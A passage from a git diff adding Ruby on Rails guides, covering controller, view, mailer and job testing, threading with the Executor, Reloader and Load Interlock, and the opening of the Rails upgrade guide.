request is Ajax request or not. Can be set to true for marking the request as Ajax. +* `as`: for encoding the request with different content type. Supports `:json` by default. + +All of these keyword arguments are optional. + +Example: Calling the `:show` action for the first `Article`, passing in an `HTTP_REFERER` header: + +```ruby +get article_url(Article.first), headers: { "HTTP_REFERER" => "http://example.com/home" } +``` + +Another example: Calling the `:update` action for the last `Article`, passing in new text for the `title` in `params`, as an Ajax request: + +```ruby +patch article_url(Article.last), params: { article: { title: "updated" } }, xhr: true +``` + +NOTE: If you try running `test_should_create_article` test from `articles_controller_test.rb` it will fail on account of the newly added model level validation and rightly so. + +Let us modify `test_should_create_article` test in `articles_controller_test.rb` so that all our test pass: + +```ruby +test "should create article" do + assert_difference('Article.count') do + post articles_url, params: { article: { body: 'Rails is awesome!', title: 'Hello Rails' } } + end + + assert_redirected_to article_path(Article.last) +end +``` + +Now you can try running all the tests and they should pass. + +NOTE: If you followed the steps in the Basic Authentication section, you'll need to add authorization to every request header to get all the tests passing: + +```ruby +post articles_url, params: { article: { body: 'Rails is awesome!', title: 'Hello Rails' } }, headers: { Authorization: ActionController::HttpAuthentication::Basic.encode_credentials('dhh', 'secret') } +``` + +### Available Request Types for Functional Tests + +If you're familiar with the HTTP protocol, you'll know that `get` is a type of request. There are 6 request types supported in Rails functional tests: + +* `get` +* `post` +* `patch` +* `put` +* `head` +* `delete` + +All of request types have equivalent methods that you can use. In a typical C.R.U.D. application you'll be using `get`, `post`, `put`, and `delete` more often. + +NOTE: Functional tests do not verify whether the specified request type is accepted by the action, we're more concerned with the result. Request tests exist for this use case to make your tests more purposeful. + +### Testing XHR (AJAX) requests + +To test AJAX requests, you can specify the `xhr: true` option to `get`, `post`, +`patch`, `put`, and `delete` methods. For example: + +```ruby +test "ajax request" do + article = articles(:one) + get article_url(article), xhr: true + + assert_equal 'hello world', @response.body + assert_equal "text/javascript", @response.content_type +end +``` + +### The Three Hashes of the Apocalypse + +After a request has been made and processed, you will have 3 Hash objects ready for use: + +* `cookies` - Any cookies that are set +* `flash` - Any objects living in the flash +* `session` - Any object living in session variables + +As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name. For example: + +```ruby +flash["gordon"] flash[:gordon] +session["shmession"] session[:shmession] +cookies["are_good_for_u"] cookies[:are_good_for_u] +``` + +### Instance Variables Available + +You also have access to three instance variables in your functional tests, after a request is made: + +* `@controller` - The controller processing the request +* `@request` - The request object +* `@response` - The response object + + +```ruby +class ArticlesControllerTest < ActionDispatch::IntegrationTest + test "should get index" do + get articles_url + + assert_equal "index", @controller.action_name + assert_equal "application/x-www-form-urlencoded", @request.media_type + assert_match "Articles", @response.body + end +end +``` + +### Setting Headers and CGI variables + +[HTTP headers](https://tools.ietf.org/search/rfc2616#section-5.3) +and +[CGI variables](https://tools.ietf.org/search/rfc3875#section-4.1) +can be passed as headers: + +```ruby +# setting an HTTP Header +get articles_url, headers: { "Content-Type": "text/plain" } # simulate the request with custom header + +# setting a CGI variable +get articles_url, headers: { "HTTP_REFERER": "http://example.com/home" } # simulate the request with custom env variable +``` + +### Testing `flash` notices + +If you remember from earlier, one of the Three Hashes of the Apocalypse was `flash`. + +We want to add a `flash` message to our blog application whenever someone +successfully creates a new Article. + +Let's start by adding this assertion to our `test_should_create_article` test: + +```ruby +test "should create article" do + assert_difference('Article.count') do + post article_url, params: { article: { title: 'Some title' } } + end + + assert_redirected_to article_path(Article.last) + assert_equal 'Article was successfully created.', flash[:notice] +end +``` + +If we run our test now, we should see a failure: + +```bash +$ rails test test/controllers/articles_controller_test.rb -n test_should_create_article +Run options: -n test_should_create_article --seed 32266 + +# Running: + +F + +Finished in 0.114870s, 8.7055 runs/s, 34.8220 assertions/s. + + 1) Failure: +ArticlesControllerTest#test_should_create_article [/test/controllers/articles_controller_test.rb:16]: +--- expected ++++ actual +@@ -1 +1 @@ +-"Article was successfully created." ++nil + +1 runs, 4 assertions, 1 failures, 0 errors, 0 skips +``` + +Let's implement the flash message now in our controller. Our `:create` action should now look like this: + +```ruby +def create + @article = Article.new(article_params) + + if @article.save + flash[:notice] = 'Article was successfully created.' + redirect_to @article + else + render 'new' + end +end +``` + +Now if we run our tests, we should see it pass: + +```bash +$ rails test test/controllers/articles_controller_test.rb -n test_should_create_article +Run options: -n test_should_create_article --seed 18981 + +# Running: + +. + +Finished in 0.081972s, 12.1993 runs/s, 48.7972 assertions/s. + +1 runs, 4 assertions, 0 failures, 0 errors, 0 skips +``` + +### Putting it together + +At this point our Articles controller tests the `:index` as well as `:new` and `:create` actions. What about dealing with existing data? + +Let's write a test for the `:show` action: + +```ruby +test "should show article" do + article = articles(:one) + get article_url(article) + assert_response :success +end +``` + +Remember from our discussion earlier on fixtures, the `articles()` method will give us access to our Articles fixtures. + +How about deleting an existing Article? + +```ruby +test "should destroy article" do + article = articles(:one) + assert_difference('Article.count', -1) do + delete article_url(article) + end + + assert_redirected_to articles_path +end +``` + +We can also add a test for updating an existing Article. + +```ruby +test "should update article" do + article = articles(:one) + + patch article_url(article), params: { article: { title: "updated" } } + + assert_redirected_to article_path(article) + # Reload association to fetch updated data and assert that title is updated. + article.reload + assert_equal "updated", article.title +end +``` + +Notice we're starting to see some duplication in these three tests, they both access the same Article fixture data. We can D.R.Y. this up by using the `setup` and `teardown` methods provided by `ActiveSupport::Callbacks`. + +Our test should now look something as what follows. Disregard the other tests for now, we're leaving them out for brevity. + +```ruby +require 'test_helper' + +class ArticlesControllerTest < ActionDispatch::IntegrationTest + # called before every single test + setup do + @article = articles(:one) + end + + # called after every single test + teardown do + # when controller is using cache it may be a good idea to reset it afterwards + Rails.cache.clear + end + + test "should show article" do + # Reuse the @article instance variable from setup + get article_url(@article) + assert_response :success + end + + test "should destroy article" do + assert_difference('Article.count', -1) do + delete article_url(@article) + end + + assert_redirected_to articles_path + end + + test "should update article" do + patch article_url(@article), params: { article: { title: "updated" } } + + assert_redirected_to article_path(@article) + # Reload association to fetch updated data and assert that title is updated. + @article.reload + assert_equal "updated", @article.title + end +end +``` + +Similar to other callbacks in Rails, the `setup` and `teardown` methods can also be used by passing a block, lambda, or method name as a symbol to call. + +### Test helpers + +To avoid code duplication, you can add your own test helpers. +Sign in helper can be a good example: + +```ruby +# test/test_helper.rb + +module SignInHelper + def sign_in_as(user) + post sign_in_url(email: user.email, password: user.password) + end +end + +class ActionDispatch::IntegrationTest + include SignInHelper +end +``` + +```ruby +require 'test_helper' + +class ProfileControllerTest < ActionDispatch::IntegrationTest + + test "should show profile" do + # helper is now reusable from any controller test case + sign_in_as users(:david) + + get profile_url + assert_response :success + end +end +``` + +#### Using Separate Files + +If you find your helpers are cluttering `test_helper.rb`, you can extract them into separate files. One good place to store them is `lib/test`. + +```ruby +# lib/test/multiple_assertions.rb +module MultipleAssertions + def assert_multiple_of_fourty_two(number) + assert (number % 42 == 0), 'expected #{number} to be a multiple of 42' + end +end +``` + +These helpers can then be explicitly required as needed and included as needed + +```ruby +require 'test_helper' +require 'test/multiple_assertions' + +class NumberTest < ActiveSupport::TestCase + include MultipleAssertions + + test '420 is a multiple of fourty two' do + assert_multiple_of_fourty_two 420 + end +end +``` + +or they can continue to be included directly into the relevant parent classes + +```ruby +# test/test_helper.rb +require 'test/sign_in_helper' + +class ActionDispatch::IntegrationTest + include SignInHelper +end +``` + +#### Eagerly Requiring Helpers + +You may find it convenient to eagerly require helpers in `test_helper.rb` so your test files have implicit access to them. This can be accomplished using globbing, as follows + +```ruby +# test/test_helper.rb +Dir[Rails.root.join('lib', 'test', '**', '*.rb')].each { |file| require file } +``` + +This has the downside of increasing the boot-up time, as opposed to manually requiring only the necessary files in your individual tests. + +Testing Routes +-------------- + +Like everything else in your Rails application, you can test your routes. Route tests reside in `test/controllers/` or are part of controller tests. + +NOTE: If your application has complex routes, Rails provides a number of useful helpers to test them. + +For more information on routing assertions available in Rails, see the API documentation for [`ActionDispatch::Assertions::RoutingAssertions`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html). + +Testing Views +------------- + +Testing the response to your request by asserting the presence of key HTML elements and their content is a common way to test the views of your application. Like route tests, view tests reside in `test/controllers/` or are part of controller tests. The `assert_select` method allows you to query HTML elements of the response by using a simple yet powerful syntax. + +There are two forms of `assert_select`: + +`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String) or an expression with substitution values. + +`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of `Nokogiri::XML::Node` or `Nokogiri::XML::NodeSet`) and its descendants. + +For example, you could verify the contents on the title element in your response with: + +```ruby +assert_select 'title', "Welcome to Rails Testing Guide" +``` + +You can also use nested `assert_select` blocks for deeper investigation. + +In the following example, the inner `assert_select` for `li.menu_item` runs +within the collection of elements selected by the outer block: + +```ruby +assert_select 'ul.navigation' do + assert_select 'li.menu_item' +end +``` + +A collection of selected elements may be iterated through so that `assert_select` may be called separately for each element. + +For example if the response contains two ordered lists, each with four nested list elements then the following tests will both pass. + +```ruby +assert_select "ol" do |elements| + elements.each do |element| + assert_select element, "li", 4 + end +end + +assert_select "ol" do + assert_select "li", 8 +end +``` + +This assertion is quite powerful. For more advanced usage, refer to its [documentation](https://github.com/rails/rails-dom-testing/blob/master/lib/rails/dom/testing/assertions/selector_assertions.rb). + +#### Additional View-Based Assertions + +There are more assertions that are primarily used in testing views: + +| Assertion | Purpose | +| --------------------------------------------------------- | ------- | +| `assert_select_email` | Allows you to make assertions on the body of an e-mail. | +| `assert_select_encoded` | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.| +| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.| + +Here's an example of using `assert_select_email`: + +```ruby +assert_select_email do + assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.' +end +``` + +Testing Helpers +--------------- + +A helper is just a simple module where you can define methods which are +available in your views. + +In order to test helpers, all you need to do is check that the output of the +helper method matches what you'd expect. Tests related to the helpers are +located under the `test/helpers` directory. + +Given we have the following helper: + +```ruby +module UsersHelper + def link_to_user(user) + link_to "#{user.first_name} #{user.last_name}", user + end +end +``` + +We can test the output of this method like this: + +```ruby +class UsersHelperTest < ActionView::TestCase + test "should return the user's full name" do + user = users(:david) + + assert_dom_equal %{<a href="/user/#{user.id}">David Heinemeier Hansson</a>}, link_to_user(user) + end +end +``` + +Moreover, since the test class extends from `ActionView::TestCase`, you have +access to Rails' helper methods such as `link_to` or `pluralize`. + +Testing Your Mailers +-------------------- + +Testing mailer classes requires some specific tools to do a thorough job. + +### Keeping the Postman in Check + +Your mailer classes - like every other part of your Rails application - should be tested to ensure that they are working as expected. + +The goals of testing your mailer classes are to ensure that: + +* emails are being processed (created and sent) +* the email content is correct (subject, sender, body, etc) +* the right emails are being sent at the right times + +#### From All Sides + +There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time. + +### Unit Testing + +In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced. + +#### Revenge of the Fixtures + +For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within `test/fixtures` directly corresponds to the name of the mailer. So, for a mailer named `UserMailer`, the fixtures should reside in `test/fixtures/user_mailer` directory. + +If you generated your mailer, the generator does not create stub fixtures for the mailers actions. You'll have to create those files yourself as described above. + +#### The Basic Test Case + +Here's a unit test to test a mailer named `UserMailer` whose action `invite` is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an `invite` action. + +```ruby +require 'test_helper' + +class UserMailerTest < ActionMailer::TestCase + test "invite" do + # Create the email and store it for further assertions + email = UserMailer.create_invite('me@example.com', + 'friend@example.com', Time.now) + + # Send the email, then test that it got queued + assert_emails 1 do + email.deliver_now + end + + # Test the body of the sent email contains what we expect it to + assert_equal ['me@example.com'], email.from + assert_equal ['friend@example.com'], email.to + assert_equal 'You have been invited by me@example.com', email.subject + assert_equal read_fixture('invite').join, email.body.to_s + end +end +``` + +In the test we create the email and store the returned object in the `email` +variable. We then ensure that it was sent (the first assert), then, in the +second batch of assertions, we ensure that the email does indeed contain what we +expect. The helper `read_fixture` is used to read in the content from this file. + +NOTE: `email.body.to_s` is present when there's only one (HTML or text) part present. +If the mailer provides both, you can test your fixture against specific parts +with `email.text_part.body.to_s` or `email.html_part.body.to_s`. + +Here's the content of the `invite` fixture: + +``` +Hi friend@example.com, + +You have been invited. + +Cheers! +``` + +This is the right time to understand a little more about writing tests for your +mailers. The line `ActionMailer::Base.delivery_method = :test` in +`config/environments/test.rb` sets the delivery method to test mode so that +email will not actually be delivered (useful to avoid spamming your users while +testing) but instead it will be appended to an array +(`ActionMailer::Base.deliveries`). + +NOTE: The `ActionMailer::Base.deliveries` array is only reset automatically in +`ActionMailer::TestCase` and `ActionDispatch::IntegrationTest` tests. +If you want to have a clean slate outside these test cases, you can reset it +manually with: `ActionMailer::Base.deliveries.clear` + +### Functional and System Testing + +Unit testing allows us to test the attributes of the email while functional and system testing allows us to test whether user interactions appropriately trigger the email to be delivered. For example, you can check that the invite friend operation is sending an email appropriately: + +```ruby +# Integration Test +require 'test_helper' + +class UsersControllerTest < ActionDispatch::IntegrationTest + test "invite friend" do + # Asserts the difference in the ActionMailer::Base.deliveries + assert_emails 1 do + post invite_friend_url, params: { email: 'friend@example.com' } + end + end +end +``` + +```ruby +# System Test +require 'test_helper' + +class UsersTest < ActionDispatch::SystemTestCase + driven_by :selenium, using: :headless_chrome + + test "inviting a friend" do + visit invite_users_url + fill_in 'Email', with: 'friend@example.com' + assert_emails 1 do + click_on 'Invite' + end + end +end +``` + +NOTE: The `assert_emails` method is not tied to a particular deliver method and will work with emails delivered with either the `deliver_now` or `deliver_later` method. If we explicitly want to assert that the email has been enqueued we can use the `assert_enqueued_emails` method. More information can be found in the [documentation here](https://api.rubyonrails.org/classes/ActionMailer/TestHelper.html). + +Testing Jobs +------------ + +Since your custom jobs can be queued at different levels inside your application, +you'll need to test both the jobs themselves (their behavior when they get enqueued) +and that other entities correctly enqueue them. + +### A Basic Test Case + +By default, when you generate a job, an associated test will be generated as well +under the `test/jobs` directory. Here's an example test with a billing job: + +```ruby +require 'test_helper' + +class BillingJobTest < ActiveJob::TestCase + test 'that account is charged' do + BillingJob.perform_now(account, product) + assert account.reload.charged_for?(product) + end +end +``` + +This test is pretty simple and only asserts that the job got the work done +as expected. + +By default, `ActiveJob::TestCase` will set the queue adapter to `:test` so that +your jobs are performed inline. It will also ensure that all previously performed +and enqueued jobs are cleared before any test run so you can safely assume that +no jobs have already been executed in the scope of each test. + +### Custom Assertions And Testing Jobs Inside Other Components + +Active Job ships with a bunch of custom assertions that can be used to lessen the verbosity of tests. For a full list of available assertions, see the API documentation for [`ActiveJob::TestHelper`](http://api.rubyonrails.org/classes/ActiveJob/TestHelper.html). + +It's a good practice to ensure that your jobs correctly get enqueued or performed +wherever you invoke them (e.g. inside your controllers). This is precisely where +the custom assertions provided by Active Job are pretty useful. For instance, +within a model: + +```ruby +require 'test_helper' + +class ProductTest < ActiveJob::TestCase + test 'billing job scheduling' do + assert_enqueued_with(job: BillingJob) do + product.charge(account) + end + end +end +``` + +Additional Testing Resources +---------------------------- + +### Testing Time-Dependent Code + +Rails provides built-in helper methods that enable you to assert that your time-sensitive code works as expected. + +Here is an example using the [`travel_to`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html#method-i-travel_to) helper: + +```ruby +# Lets say that a user is eligible for gifting a month after they register. +user = User.create(name: 'Gaurish', activation_date: Date.new(2004, 10, 24)) +assert_not user.applicable_for_gifting? +travel_to Date.new(2004, 11, 24) do + assert_equal Date.new(2004, 10, 24), user.activation_date # inside the `travel_to` block `Date.current` is mocked + assert user.applicable_for_gifting? +end +assert_equal Date.new(2004, 10, 24), user.activation_date # The change was visible only inside the `travel_to` block. +``` + +Please see [`ActiveSupport::Testing::TimeHelpers` API Documentation](http://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html) +for in-depth information about the available time helpers. diff --git a/guides/source/threading_and_code_execution.md b/guides/source/threading_and_code_execution.md new file mode 100644 index 0000000000..d3a81fe6a8 --- /dev/null +++ b/guides/source/threading_and_code_execution.md @@ -0,0 +1,324 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Threading and Code Execution in Rails +===================================== + +After reading this guide, you will know: + +* What code Rails will automatically execute concurrently +* How to integrate manual concurrency with Rails internals +* How to wrap all application code +* How to affect application reloading + +-------------------------------------------------------------------------------- + +Automatic Concurrency +--------------------- + +Rails automatically allows various operations to be performed at the same time. + +When using a threaded web server, such as the default Puma, multiple HTTP +requests will be served simultaneously, with each request provided its own +controller instance. + +Threaded Active Job adapters, including the built-in Async, will likewise +execute several jobs at the same time. Action Cable channels are managed this +way too. + +These mechanisms all involve multiple threads, each managing work for a unique +instance of some object (controller, job, channel), while sharing the global +process space (such as classes and their configurations, and global variables). +As long as your code doesn't modify any of those shared things, it can mostly +ignore that other threads exist. + +The rest of this guide describes the mechanisms Rails uses to make it "mostly +ignorable", and how extensions and applications with special needs can use them. + +Executor +-------- + +The Rails Executor separates application code from framework code: any time the +framework invokes code you've written in your application, it will be wrapped by +the Executor. + +The Executor consists of two callbacks: `to_run` and `to_complete`. The Run +callback is called before the application code, and the Complete callback is +called after. + +### Default callbacks + +In a default Rails application, the Executor callbacks are used to: + +* track which threads are in safe positions for autoloading and reloading +* enable and disable the Active Record query cache +* return acquired Active Record connections to the pool +* constrain internal cache lifetimes + +Prior to Rails 5.0, some of these were handled by separate Rack middleware +classes (such as `ActiveRecord::ConnectionAdapters::ConnectionManagement`), or +directly wrapping code with methods like +`ActiveRecord::Base.connection_pool.with_connection`. The Executor replaces +these with a single more abstract interface. + +### Wrapping application code + +If you're writing a library or component that will invoke application code, you +should wrap it with a call to the executor: + +```ruby +Rails.application.executor.wrap do + # call application code here +end +``` + +TIP: If you repeatedly invoke application code from a long-running process, you +may want to wrap using the Reloader instead. + +Each thread should be wrapped before it runs application code, so if your +application manually delegates work to other threads, such as via `Thread.new` +or Concurrent Ruby features that use thread pools, you should immediately wrap +the block: + +```ruby +Thread.new do + Rails.application.executor.wrap do + # your code here + end +end +``` + +NOTE: Concurrent Ruby uses a `ThreadPoolExecutor`, which it sometimes configures +with an `executor` option. Despite the name, it is unrelated. + +The Executor is safely re-entrant; if it is already active on the current +thread, `wrap` is a no-op. + +If it's impractical to wrap the application code in a block (for +example, the Rack API makes this problematic), you can also use the `run!` / +`complete!` pair: + +```ruby +Thread.new do + execution_context = Rails.application.executor.run! + # your code here +ensure + execution_context.complete! if execution_context +end +``` + +### Concurrency + +The Executor will put the current thread into `running` mode in the Load +Interlock. This operation will block temporarily if another thread is currently +either autoloading a constant or unloading/reloading the application. + +Reloader +-------- + +Like the Executor, the Reloader also wraps application code. If the Executor is +not already active on the current thread, the Reloader will invoke it for you, +so you only need to call one. This also guarantees that everything the Reloader +does, including all its callback invocations, occurs wrapped inside the +Executor. + +```ruby +Rails.application.reloader.wrap do + # call application code here +end +``` + +The Reloader is only suitable where a long-running framework-level process +repeatedly calls into application code, such as for a web server or job queue. +Rails automatically wraps web requests and Active Job workers, so you'll rarely +need to invoke the Reloader for yourself. Always consider whether the Executor +is a better fit for your use case. + +### Callbacks + +Before entering the wrapped block, the Reloader will check whether the running +application needs to be reloaded -- for example, because a model's source file has +been modified. If it determines a reload is required, it will wait until it's +safe, and then do so, before continuing. When the application is configured to +always reload regardless of whether any changes are detected, the reload is +instead performed at the end of the block. + +The Reloader also provides `to_run` and `to_complete` callbacks; they are +invoked at the same points as those of the Executor, but only when the current +execution has initiated an application reload. When no reload is deemed +necessary, the Reloader will invoke the wrapped block with no other callbacks. + +### Class Unload + +The most significant part of the reloading process is the Class Unload, where +all autoloaded classes are removed, ready to be loaded again. This will occur +immediately before either the Run or Complete callback, depending on the +`reload_classes_only_on_change` setting. + +Often, additional reloading actions need to be performed either just before or +just after the Class Unload, so the Reloader also provides `before_class_unload` +and `after_class_unload` callbacks. + +### Concurrency + +Only long-running "top level" processes should invoke the Reloader, because if +it determines a reload is needed, it will block until all other threads have +completed any Executor invocations. + +If this were to occur in a "child" thread, with a waiting parent inside the +Executor, it would cause an unavoidable deadlock: the reload must occur before +the child thread is executed, but it cannot be safely performed while the parent +thread is mid-execution. Child threads should use the Executor instead. + +Framework Behavior +------------------ + +The Rails framework components use these tools to manage their own concurrency +needs too. + +`ActionDispatch::Executor` and `ActionDispatch::Reloader` are Rack middlewares +that wraps the request with a supplied Executor or Reloader, respectively. They +are automatically included in the default application stack. The Reloader will +ensure any arriving HTTP request is served with a freshly-loaded copy of the +application if any code changes have occurred. + +Active Job also wraps its job executions with the Reloader, loading the latest +code to execute each job as it comes off the queue. + +Action Cable uses the Executor instead: because a Cable connection is linked to +a specific instance of a class, it's not possible to reload for every arriving +websocket message. Only the message handler is wrapped, though; a long-running +Cable connection does not prevent a reload that's triggered by a new incoming +request or job. Instead, Action Cable uses the Reloader's `before_class_unload` +callback to disconnect all its connections. When the client automatically +reconnects, it will be speaking to the new version of the code. + +The above are the entry points to the framework, so they are responsible for +ensuring their respective threads are protected, and deciding whether a reload +is necessary. Other components only need to use the Executor when they spawn +additional threads. + +### Configuration + +The Reloader only checks for file changes when `cache_classes` is false and +`reload_classes_only_on_change` is true (which is the default in the +`development` environment). + +When `cache_classes` is true (in `production`, by default), the Reloader is only +a pass-through to the Executor. + +The Executor always has important work to do, like database connection +management. When `cache_classes` and `eager_load` are both true (`production`), +no autoloading or class reloading will occur, so it does not need the Load +Interlock. If either of those are false (`development`), then the Executor will +use the Load Interlock to ensure constants are only loaded when it is safe. + +Load Interlock +-------------- + +The Load Interlock allows autoloading and reloading to be enabled in a +multi-threaded runtime environment. + +When one thread is performing an autoload by evaluating the class definition +from the appropriate file, it is important no other thread encounters a +reference to the partially-defined constant. + +Similarly, it is only safe to perform an unload/reload when no application code +is in mid-execution: after the reload, the `User` constant, for example, may +point to a different class. Without this rule, a poorly-timed reload would mean +`User.new.class == User`, or even `User == User`, could be false. + +Both of these constraints are addressed by the Load Interlock. It keeps track of +which threads are currently running application code, loading a class, or +unloading autoloaded constants. + +Only one thread may load or unload at a time, and to do either, it must wait +until no other threads are running application code. If a thread is waiting to +perform a load, it doesn't prevent other threads from loading (in fact, they'll +cooperate, and each perform their queued load in turn, before all resuming +running together). + +### `permit_concurrent_loads` + +The Executor automatically acquires a `running` lock for the duration of its +block, and autoload knows when to upgrade to a `load` lock, and switch back to +`running` again afterwards. + +Other blocking operations performed inside the Executor block (which includes +all application code), however, can needlessly retain the `running` lock. If +another thread encounters a constant it must autoload, this can cause a +deadlock. + +For example, assuming `User` is not yet loaded, the following will deadlock: + +```ruby +Rails.application.executor.wrap do + th = Thread.new do + Rails.application.executor.wrap do + User # inner thread waits here; it cannot load + # User while another thread is running + end + end + + th.join # outer thread waits here, holding 'running' lock +end +``` + +To prevent this deadlock, the outer thread can `permit_concurrent_loads`. By +calling this method, the thread guarantees it will not dereference any +possibly-autoloaded constant inside the supplied block. The safest way to meet +that promise is to put it as close as possible to the blocking call: + +```ruby +Rails.application.executor.wrap do + th = Thread.new do + Rails.application.executor.wrap do + User # inner thread can acquire the 'load' lock, + # load User, and continue + end + end + + ActiveSupport::Dependencies.interlock.permit_concurrent_loads do + th.join # outer thread waits here, but has no lock + end +end +``` + +Another example, using Concurrent Ruby: + +```ruby +Rails.application.executor.wrap do + futures = 3.times.collect do |i| + Concurrent::Future.execute do + Rails.application.executor.wrap do + # do work here + end + end + end + + values = ActiveSupport::Dependencies.interlock.permit_concurrent_loads do + futures.collect(&:value) + end +end +``` + + +### ActionDispatch::DebugLocks + +If your application is deadlocking and you think the Load Interlock may be +involved, you can temporarily add the ActionDispatch::DebugLocks middleware to +`config/application.rb`: + +```ruby +config.middleware.insert_before Rack::Sendfile, + ActionDispatch::DebugLocks +``` + +If you then restart the application and re-trigger the deadlock condition, +`/rails/locks` will show a summary of all threads currently known to the +interlock, which lock level they are holding or awaiting, and their current +backtrace. + +Generally a deadlock will be caused by the interlock conflicting with some other +external lock or blocking I/O call. Once you find it, you can wrap it with +`permit_concurrent_loads`. + diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md new file mode 100644 index 0000000000..2682c6ffd7 --- /dev/null +++ b/guides/source/upgrading_ruby_on_rails.md @@ -0,0 +1,1618 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Upgrading Ruby on Rails +======================= + +This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides. + +-------------------------------------------------------------------------------- + +General Advice +-------------- + +Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few. + +### Test Coverage + +The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good _before_ you start an upgrade. + +### The Upgrade Process + +When changing Rails versions, it's best to move slowly, one minor version at a time, in order to make good use of the deprecation warnings. Rails version numbers are in the form Major.Minor.Patch. Major and Minor versions are allowed to make changes to the public API, so this may cause errors in your application. Patch versions only include bug fixes, and don't change any public API. + +The process should go as follows: + +1. Write tests and make sure they pass. +2. Move to the latest patch version after your current version. +3. Fix tests and deprecated features. +4. Move to the latest patch version of the next minor version. + +Repeat this process until you reach your target Rails version. Each time you move versions, you will need to change the Rails version number in the `Gemfile` (and possibly other gem versions) and run `bundle update`. Then run the Update task mentioned below to update configuration files, then run your tests. + +You can find a list of all released Rails versions [here](https://rubygems.org/gems/rails/versions). + +### Ruby Versions + +Rails generally stays close to the latest released Ruby version when it's released: + +* Rails 6 requires Ruby 2.5.0 or newer. +* Rails 5 requires Ruby 2.2.2 or newer. +* Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer. +* Rails 3.2.x is the last branch to support Ruby 1.8.7. +* Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially. You should upgrade as early as possible. + +TIP: Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing. + +### The Update Task + +Rails provides the `app:update` command (`rake rails:update` on 4.2 and earlier). After updating the Rails version +in the `Gemfile`, run this command. +This will help you with the creation of new files and changes of old files in an +interactive session. + +```bash +$ rails app:update + identical config/boot.rb + exist config + conflict config/routes.rb +Overwrite /myapp/config/routes.rb? (enter "h" for help) [Ynaqdh] + force config/routes.rb + conflict config/application.rb +Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh] + force config/application.rb + conflict config/environment.rb +... +``` + +Don't forget to review the difference, to see if there were any unexpected changes. + +### Configure Framework Defaults + +The new Rails version might have different configuration defaults than the previous version. However, after following the steps described above, your application would still run with configuration defaults from the *previous* Rails version. That's because the value for `config.load_defaults` in `config/application.rb` has not been changed yet. + +To allow you to upgrade to new defaults one by one, the update task has created a file `config/initializers/new_framework_defaults.rb`. Once your application is ready to run with new defaults, you can remove this file and flip the `config.load_defaults` value. + + +Upgrading from Rails 5.2 to Rails 6.0 +------------------------------------- + +For more information on changes made to Rails 6.0 please see the [release notes](6_0_release_notes.html). + +### Force SSL + +The `force_ssl` method on controllers has been deprecated and will be removed in +Rails 6.1. You are encouraged to enable `config.force_ssl` to enforce HTTPS +connections throughout your application. If you need to exempt certain endpoints +from redirection, you can use `config.ssl_options` to configure that behavior. + +### Purpose in signed or encrypted cookie is now embedded in the cookies values + +To improve security, Rails now embeds the purpose information in encrypted or signed cookies value. +Rails can now thwart attacks that attempt to copy signed/encrypted value +of a cookie and use it as the value of another cookie. + +This new embed information make those cookies incompatible with versions of Rails older than 6.0. + +If you require your cookies to be read by 5.2 and older, or you are still validating your 6.0 deploy and want +to allow you to rollback set +`Rails.application.config.action_dispatch.use_cookies_with_metadata` to `false`. + +Upgrading from Rails 5.1 to Rails 5.2 +------------------------------------- + +For more information on changes made to Rails 5.2 please see the [release notes](5_2_release_notes.html). + +### Bootsnap + +Rails 5.2 adds bootsnap gem in the [newly generated app's Gemfile](https://github.com/rails/rails/pull/29313). +The `app:update` command sets it up in `boot.rb`. If you want to use it, then add it in the Gemfile, +otherwise change the `boot.rb` to not use bootsnap. + +### Expiry in signed or encrypted cookie is now embedded in the cookies values + +To improve security, Rails now embeds the expiry information also in encrypted or signed cookies value. + +This new embed information make those cookies incompatible with versions of Rails older than 5.2. + +If you require your cookies to be read by 5.1 and older, or you are still validating your 5.2 deploy and want +to allow you to rollback set +`Rails.application.config.action_dispatch.use_authenticated_cookie_encryption` to `false`. + +Upgrading from Rails 5.0 to Rails 5.1 +------------------------------------- + +For more information on changes made to Rails 5.1 please see the [release notes](5_1_release_notes.html). + +### Top-level `HashWithIndifferentAccess` is soft-deprecated + +If your application uses the top-level `HashWithIndifferentAccess` class, you +should slowly move your code to instead use 